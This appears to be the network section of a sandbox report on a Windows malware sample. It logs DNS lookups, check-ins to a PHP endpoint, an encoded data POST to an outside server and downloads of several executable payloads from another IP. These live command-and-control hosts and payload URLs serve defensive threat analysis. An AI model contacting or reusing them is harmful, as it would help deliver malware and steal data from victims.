Aug 30, 2024 06:17:07.239871979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239881992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.239906073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239906073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239906073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.239995003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.240513086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240521908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240530014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240539074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240546942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240556002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240566015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240576029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240586996 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.240586996 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.240598917 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.240608931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.240653038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240663052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240672112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240683079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240691900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240701914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.240706921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240716934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240724087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240734100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240747929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240747929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.240747929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.240747929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.240762949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240763903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.240772009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240776062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.240782976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240793943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240804911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240813017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.240828037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.240828037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.240828037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.240883112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.241111994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.241122007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.241132021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.241141081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.241214037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.241214037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.241214037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.241223097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.241233110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.241240978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.241285086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.241285086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.241285086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242146015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242155075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242162943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242237091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242237091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242250919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242259979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242269039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242278099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242297888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242315054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242324114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242331028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242331982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242341995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242351055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242368937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242368937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242407084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242748976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242758036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242767096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242774963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242783070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242791891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242800951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242803097 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242810011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242818117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242826939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242835999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242841005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242841005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242841005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242846012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242865086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242866993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242893934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242893934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.242959023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.242969036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.243004084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.243011951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.243022919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.243031979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.243041039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.243071079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.243071079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.243108034 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.243180990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.243191004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.243200064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.243261099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.243261099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.243271112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.243280888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.243288994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.243298054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.243307114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.243334055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.243334055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.286310911 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.286405087 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.286416054 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.286453962 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.286458969 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.286468983 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.286533117 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.286762953 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.286778927 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.286828995 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.286834955 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.286870956 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.287240982 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.287260056 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.287292957 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.287301064 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.287322044 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.287337065 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.287604094 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.287627935 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.287663937 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.287671089 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.287688971 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.288290977 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.308594942 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.308610916 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.308682919 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.308691978 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.308731079 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.308877945 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.308897018 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.308945894 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.308953047 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.308988094 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.309201956 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.309217930 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.309278965 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.309287071 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.309324980 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.309575081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.309590101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.309591055 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.309602022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.309613943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.309626102 CEST	80	49733	147.45.44.104	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 30, 2024 06:16:56.940027952 CEST	192.168.2.4	1.1.1.1	0xe382	Standard query (0)	api.myip.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:16:57.856122017 CEST	192.168.2.4	1.1.1.1	0x72bf	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:17:02.001051903 CEST	192.168.2.4	1.1.1.1	0x7fc2	Standard query (0)	file-link-iota.vercel.app	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:17:02.003315926 CEST	192.168.2.4	1.1.1.1	0x5589	Standard query (0)	240812161425945.tyr.zont16.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:17:02.705192089 CEST	192.168.2.4	1.1.1.1	0x9452	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:17:14.346821070 CEST	192.168.2.4	1.1.1.1	0x21a0	Standard query (0)	yip.su	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:18:03.452806950 CEST	192.168.2.4	1.1.1.1	0xa0c0	Standard query (0)	stadiatechnologies.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:18:10.823088884 CEST	192.168.2.4	1.1.1.1	0x78a0	Standard query (0)	joxi.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:18:22.494657993 CEST	192.168.2.4	1.1.1.1	0x4537	Standard query (0)	aldiablo.cl	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 30, 2024 06:16:56.947237968 CEST	1.1.1.1	192.168.2.4	0xe382	No error (0)	api.myip.com		104.26.8.59	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:16:56.947237968 CEST	1.1.1.1	192.168.2.4	0xe382	No error (0)	api.myip.com		104.26.9.59	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:16:56.947237968 CEST	1.1.1.1	192.168.2.4	0xe382	No error (0)	api.myip.com		172.67.75.163	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:16:57.863831997 CEST	1.1.1.1	192.168.2.4	0x72bf	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:17:02.009521008 CEST	1.1.1.1	192.168.2.4	0x7fc2	No error (0)	file-link-iota.vercel.app		76.76.21.123	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:17:02.009521008 CEST	1.1.1.1	192.168.2.4	0x7fc2	No error (0)	file-link-iota.vercel.app		76.76.21.22	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:17:02.110054016 CEST	1.1.1.1	192.168.2.4	0x5589	Server failure (2)	240812161425945.tyr.zont16.com	none	none	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:17:02.714188099 CEST	1.1.1.1	192.168.2.4	0x9452	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:17:02.714188099 CEST	1.1.1.1	192.168.2.4	0x9452	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:17:02.714188099 CEST	1.1.1.1	192.168.2.4	0x9452	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:17:02.714188099 CEST	1.1.1.1	192.168.2.4	0x9452	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:17:02.714188099 CEST	1.1.1.1	192.168.2.4	0x9452	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:17:14.398189068 CEST	1.1.1.1	192.168.2.4	0x21a0	No error (0)	yip.su		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:17:14.398189068 CEST	1.1.1.1	192.168.2.4	0x21a0	No error (0)	yip.su		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:18:03.706171989 CEST	1.1.1.1	192.168.2.4	0xa0c0	No error (0)	stadiatechnologies.com		95.164.119.162	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:18:10.832442999 CEST	1.1.1.1	192.168.2.4	0x78a0	No error (0)	joxi.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:18:10.832442999 CEST	1.1.1.1	192.168.2.4	0x78a0	No error (0)	joxi.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 30, 2024 06:18:22.728651047 CEST	1.1.1.1	192.168.2.4	0x4537	No error (0)	aldiablo.cl		186.64.114.115	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	195.10.205.48	80	7556	C:\Users\user\Desktop\gHPYUEh253.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:16:56.283134937 CEST	219	OUT	GET /api/crazyfish.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Host: 195.10.205.48
Aug 30, 2024 06:16:56.931873083 CEST	259	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:16:56 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 6 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 66 69 73 68 31 35 Data Ascii: fish15
Aug 30, 2024 06:17:00.558748007 CEST	288	OUT	POST /api/twofish.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Content-Length: 133 Host: 195.10.205.48
Aug 30, 2024 06:17:00.558748960 CEST	133	OUT	Data Raw: 64 61 74 61 3d 67 4d 73 48 37 4e 4a 43 48 31 42 65 67 56 71 50 46 2d 6a 72 76 41 37 4e 6c 59 51 62 39 65 32 72 67 38 72 31 76 47 70 61 48 78 79 78 69 58 6a 61 36 69 50 36 33 4f 34 51 4e 76 76 30 46 32 72 36 44 47 7a 65 59 5a 6a 55 5f 4c 4c 45 55 Data Ascii: data=gMsH7NJCH1BegVqPF-jrvA7NlYQb9e2rg8r1vGpaHxyxiXja6iP63O4QNvv0F2r6DGzeYZjU_LLEU7J2ZLYHA0jhLQbOyOTU_lhaJESe3dVyGMNbHiGuENnhUutvy_0n
Aug 30, 2024 06:17:01.830079079 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:00 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1624 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 66 38 56 6e 6a 4e 2b 67 58 30 46 2f 75 44 6c 38 76 42 34 52 34 34 6f 4b 6f 36 55 77 77 46 6a 2b 38 53 57 2b 57 31 6e 4a 69 50 61 6d 78 57 30 45 34 6e 50 74 6d 65 70 41 36 59 55 57 68 62 59 63 75 44 48 54 6f 7a 66 35 37 68 77 5a 56 4e 43 4c 2f 51 73 32 69 4f 4e 55 68 6d 52 52 65 44 49 4f 73 36 6c 78 5a 48 72 41 74 79 69 50 49 50 55 4a 69 61 67 36 64 45 37 6a 43 65 39 66 79 32 39 2f 37 4a 4d 6b 4c 4c 63 45 33 58 42 73 50 54 66 65 77 51 2b 39 52 68 4e 4b 4e 31 78 4b 50 74 6e 64 49 2b 30 49 48 6f 63 45 33 41 4c 33 6d 2f 38 4b 72 48 34 6c 4c 4a 65 31 42 71 48 54 4b 6b 32 34 66 67 49 5a 56 2b 56 51 74 41 76 4d 62 65 64 6a 53 76 61 4a 59 33 59 75 7a 51 6f 69 38 72 34 78 6b 66 6a 30 4b 6b 72 4b 5a 63 55 33 53 38 79 6f 78 47 4f 4f 70 77 74 64 54 61 78 57 73 70 72 4a 43 6b 71 32 73 79 41 55 6f 52 78 72 76 4a 4f 57 4d 62 53 32 50 4c 4a 61 64 56 39 51 4c 36 61 70 30 4f 62 70 6d 46 31 77 57 52 61 4f 2f 4b 49 70 34 56 35 37 4d 5a 6d 59 74 6a 6e 6d 72 7a 6d 6f 46 4f 6e 5a 44 2b 34 70 77 67 4c 6f 70 4c 43 78 67 49 [TRUNCATED] Data Ascii: f8VnjN+gX0F/uDl8vB4R44oKo6UwwFj+8SW+W1nJiPamxW0E4nPtmepA6YUWhbYcuDHTozf57hwZVNCL/Qs2iONUhmRReDIOs6lxZHrAtyiPIPUJiag6dE7jCe9fy29/7JMkLLcE3XBsPTfewQ+9RhNKN1xKPtndI+0IHocE3AL3m/8KrH4lLJe1BqHTKk24fgIZV+VQtAvMbedjSvaJY3YuzQoi8r4xkfj0KkrKZcU3S8yoxGOOpwtdTaxWsprJCkq2syAUoRxrvJOWMbS2PLJadV9QL6ap0ObpmF1wWRaO/KIp4V57MZmYtjnmrzmoFOnZD+4pwgLopLCxgIHn1g56KDDTbFy9lsiQtWx2ZpvntYcolCqlAEEdpjBdTUexDZu9mHVCLYZ1uOPJQXfe+JUbfGeKxz0eOlOcbE3Q9SNWGriVGE2lKQLOXYg3vufsT2q9SN3ijgrUzqGXf3JlpyPf1m8Ua2QaxLxsoKIWh3BGepcTHECpN48nwTOAAmBF3b3PN5zQgWfqxCSy0dNytq+Bfwgf/vQQcQmhRqpNAOzyBzEmPta9SACgTRsfCGO4bOpowPaYEA6JDk2TQ2mmU9QN+E+xm7BwdMlyeMC6OAJQ/BlicU/pSm9kpRx1cNmYJi4jXsiTe5v6PTlDbxlhGlW8yR5TCn1zXBiARgm3vbf+fzYQlNd+rLTlP8/UAb9FxyTNskFpY3S2utrQYx4tZ24FFGKtANXeQbaoIARX9D92eUfRkjJF/g38sa7VIfUFB5Rs5FbNPc/XkqN9HFbisnItvHLC1rOJIsomreQ5O6DL1crn7sJSSPN3nVnbR/aX/sLNzNYkiIK93/+k4gpQwVKb5qHl46MoUustY8JYtFgjzJVNUiKzPPmxui/mAM2JHZwwPU4Nc/86cTIWXMCpBaR6C8qWFFj6GLO2XuAnDfvwwtyBHagEAlet3Wn9p7Pnq8iC79bNPz9tS27y6VTUg
Aug 30, 2024 06:17:01.830111027 CEST	643	IN	Data Raw: 62 59 54 35 54 67 71 39 52 75 68 66 50 71 6c 74 49 30 58 57 41 66 6a 71 57 7a 77 5a 34 56 4b 49 53 54 65 64 44 61 74 47 69 5a 33 6c 58 65 31 74 46 54 4c 4d 31 37 39 69 72 77 59 69 44 74 78 4f 75 6a 61 39 6f 67 36 44 6d 56 72 38 64 7a 78 30 4d 6a Data Ascii: bYT5Tgq9RuhfPqltI0XWAfjqWzwZ4VKISTedDatGiZ3lXe1tFTLM179irwYiDtxOuja9og6DmVr8dzx0Mjwx0yWAZruu8P+JT/eDMLhxAT11fAnZFqkQvDRvlJ0bs0ZwEVh+lxTmD7xLdhr2VLsqx1qtl+xMjmYtyBizpsQ9+qMOOQg79N0Z0plKO4Hd6JLR2LD+BSk6QmeqIxAWXes3buXh/MJbri9FH/4igqABjNdUmR1VG4Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	147.45.44.104	80	7556	C:\Users\user\Desktop\gHPYUEh253.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:17:02.005670071 CEST	226	OUT	HEAD /prog/66d0cd9a65b5d_vqwergf.exe#space HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:17:02.656981945 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:02 GMT Content-Type: application/octet-stream Content-Length: 196648 Last-Modified: Thu, 29 Aug 2024 19:35:54 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0cd9a-30028" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 06:17:02.657388926 CEST	219	OUT	HEAD /revada/66c6fcb30b9dd_123p.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:17:02.914959908 CEST	312	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:02 GMT Content-Type: application/octet-stream Content-Length: 10902016 Last-Modified: Thu, 22 Aug 2024 08:54:11 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c6fcb3-a65a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 06:17:02.958909035 CEST	222	OUT	HEAD /yuop/66d0502b12496_MKna.exe#main HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:17:03.146922112 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:03 GMT Content-Type: application/octet-stream Content-Length: 3337480 Last-Modified: Thu, 29 Aug 2024 10:40:43 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0502b-32ed08" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 06:17:03.157155037 CEST	225	OUT	GET /prog/66d0cd9a65b5d_vqwergf.exe#space HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
